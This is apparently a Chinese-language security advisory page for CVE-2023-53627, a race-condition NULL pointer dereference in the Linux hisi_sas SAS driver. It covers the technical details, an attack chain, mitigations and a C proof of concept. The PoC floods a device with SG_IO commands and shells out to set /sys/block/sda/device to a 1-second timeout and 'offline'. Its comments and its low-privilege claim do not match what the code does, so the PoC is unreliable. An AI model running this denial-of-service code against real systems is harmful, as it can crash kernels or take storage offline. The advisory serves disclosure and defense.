IPBUF安全漏洞报告
English
CVE-2023-53627 CVSS 5.5 中危

CVE-2023-53627 Linux内核hisi_sas驱动空指针解引用漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53627
漏洞类型
空指针解引用/竞态条件
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核hisi_sas驱动(HiSilicon SAS主机控制器驱动)

相关标签

Linux内核hisi_sas空指针解引用竞态条件NULL Pointer DereferenceRace ConditionSCSI驱动HiSiliconSAS控制器拒绝服务

漏洞概述

CVE-2023-53627是Linux内核中hisi_sas驱动存在的一个空指针解引用漏洞,位于drivers/scsi/hisi_sas/hisi_sas_v3_hw.c文件中。该漏洞源于在slot_complete_v3_hw()函数释放slot时,sas_dev.list链表可能正在被其他线程(如SCSI错误处理线程scsi_eh)通过dereg_device_v3_hw()函数遍历。当两者并发执行时,list_del_init()操作与list_for_each_entry_safe()遍历操作之间存在竞态条件,导致链表节点被删除后仍然被访问,从而触发空指针解引用异常。漏洞利用需要本地低权限访问权限,无需用户交互,攻击成功后将导致系统内核崩溃(Kernel Panic),可用性影响为高。CVSS 3.1评分为5.5分,属于中危级别。该漏洞影响使用HiSilicon SAS控制器(如华为TaiShan服务器系列)的Linux系统,可能在正常的SCSI错误恢复流程中意外触发,造成系统不可用。

技术细节

该漏洞本质上是一个典型的内核竞态条件问题。hisi_sas驱动管理HiSilicon SAS(Serial Attached SCSI)主控制器的slot(命令槽位)。在正常运行时,完成队列(cq)线程通过slot_complete_v3_hw()处理已完成的I/O请求,并在hisi_sas_slot_task_free()中调用list_del_init()从sas_dev.list链表中移除对应节点。同时,当SCSI设备出现错误时,scsi错误处理线程(scsi_eh)会通过sas_eh_handle_sas_errors() → sas_scsi_find_task() → lldd_abort_task() → hisi_sas_abort_task() → dereg_device_v3_hw()的调用链,使用list_for_each_entry_safe()遍历sas_dev.list链表。问题在于这两个操作路径之间没有适当的同步保护机制。当cq线程正在执行list_del_init()删除链表节点时,错误处理线程可能同时遍历该链表,访问已被删除或正在被删除的节点,导致next指针变为NULL,从而触发空指针解引用(pc位于dereg_device_v3_hw+0x68/0xa8)。修复方案是在dereg_device_v3_hw()和hisi_sas_release_tasks()中遍历sas_dev.list时获取sas_dev锁,以避免并发添加和删除成员的操作。攻击者可通过触发大量SCSI I/O错误来增加竞态条件触发的概率,进而导致内核崩溃。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要在运行受影响Linux内核版本且配备HiSilicon SAS控制器的系统上拥有本地低权限访问权限。目标系统通常为华为TaiShan系列服务器或其他使用HiSilicon SAS芯片的ARM服务器。
STEP 2
步骤2:触发SCSI I/O活动
攻击者通过多线程对连接到SAS控制器的存储设备发起大量并发I/O请求(如读写操作),促使hisi_sas驱动频繁调用slot_complete_v3_hw()处理完成的slot,并在hisi_sas_slot_task_free()中执行list_del_init()操作修改sas_dev.list链表。
STEP 3
步骤3:触发SCSI错误恢复路径
同时,攻击者通过模拟设备错误(如访问故障LUN、触发超时或操作/sys/block下的设备状态文件)来激活SCSI错误处理线程scsi_eh,该线程通过sas_eh_handle_sas_errors() → hisi_sas_abort_task() → dereg_device_v3_hw()调用链使用list_for_each_entry_safe()遍历sas_dev.list链表。
STEP 4
步骤4:竞态条件触发
当cq线程执行list_del_init()删除链表节点的同时,错误处理线程正在遍历该链表。由于缺少sas_dev锁的保护,遍历过程中next指针可能指向已被删除的节点(NULL),导致空指针解引用异常。
STEP 5
步骤5:内核崩溃
空指针解引用导致内核Oops(Unable to handle kernel NULL pointer dereference),进一步触发Kernel Panic,系统进入不可用状态,造成拒绝服务攻击效果。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2023-53627 PoC - Trigger NULL pointer dereference via race condition // This PoC demonstrates how to trigger the race condition in hisi_sas driver // by generating concurrent SCSI errors while I/O operations are completing. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <pthread.h> #include <sys/ioctl.h> #include <scsi/sg.h> #include <scsi/scsi.h> #define NUM_THREADS 64 #define NUM_OPERATIONS 1000 // Thread function to generate heavy SCSI I/O on a SAS device void* io_stress_thread(void* arg) { char* device = (char*)arg; int fd; fd = open(device, O_RDWR); if (fd < 0) { perror("open"); return NULL; } // Issue continuous I/O to trigger slot completion and error handling for (int i = 0; i < NUM_OPERATIONS; i++) { unsigned char sense_buffer[32]; sg_io_hdr_t io_hdr; memset(&io_hdr, 0, sizeof(sg_io_hdr_t)); memset(sense_buffer, 0, sizeof(sense_buffer)); // Send TUR (Test Unit Ready) command to generate I/O activity unsigned char cmd[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; io_hdr.interface_id = 'S'; io_hdr.cmd_len = 6; io_hdr.mx_sb_len = sizeof(sense_buffer); io_hdr.dxfer_direction = SG_DXFER_NONE; io_hdr.cmdp = cmd; io_hdr.sbp = sense_buffer; io_hdr.timeout = 5000; ioctl(fd, SG_IO, &io_hdr); } close(fd); return NULL; } // Thread function to simulate device removal/error to trigger error handler void* trigger_errors_thread(void* arg) { // Repeatedly trigger SCSI error handling path // by writing to error injection sysfs or removing/adding devices for (int i = 0; i < NUM_OPERATIONS; i++) { // Trigger SCSI error recovery by accessing non-existent LUN system("echo 1 > /sys/block/sda/device/timeout"); system("echo offline > /sys/block/sda/device/state 2>/dev/null"); usleep(100); } return NULL; } int main(int argc, char* argv[]) { pthread_t threads[NUM_THREADS]; if (argc < 2) { fprintf(stderr, "Usage: %s <scsi_device>\n", argv[0]); fprintf(stderr, "Example: %s /dev/sda\n", argv[0]); return 1; } printf("CVE-2023-53627 - hisi_sas NULL pointer dereference PoC\n"); printf("Target device: %s\n", argv[1]); printf("Starting race condition trigger...\n"); // Create threads to generate concurrent I/O and error conditions for (int i = 0; i < NUM_THREADS / 2; i++) { pthread_create(&threads[i], NULL, io_stress_thread, argv[1]); } for (int i = NUM_THREADS / 2; i < NUM_THREADS; i++) { pthread_create(&threads[i], NULL, trigger_errors_thread, NULL); } // Wait for all threads to complete for (int i = 0; i < NUM_THREADS; i++) { pthread_join(threads[i], NULL); } printf("Race condition trigger completed.\n"); printf("Check dmesg for kernel panic or NULL pointer dereference.\n"); return 0; }

影响范围

Linux kernel < 6.6(包含hisi_sas_v3_hw驱动的版本)
Linux kernel 6.6.x(受影响)
Linux kernel 6.1.x LTS(受影响)
Linux kernel 5.15.x LTS(受影响)
Linux kernel 5.10.x LTS(受影响)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制系统本地用户的访问权限,仅允许可信用户登录;2)通过内核启动参数或sysfs限制对SCSI设备错误注入相关接口的访问;3)监控系统日志(dmesg),及时发现内核异常并重启恢复;4)如果业务不依赖HiSilicon SAS控制器,可在编译内核时将CONFIG_SCSI_HISI_SAS配置为模块(m)或不编译(n),以彻底消除该漏洞的攻击面;5)使用cgroups或systemd限制非特权用户对存储设备的I/O操作频率。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表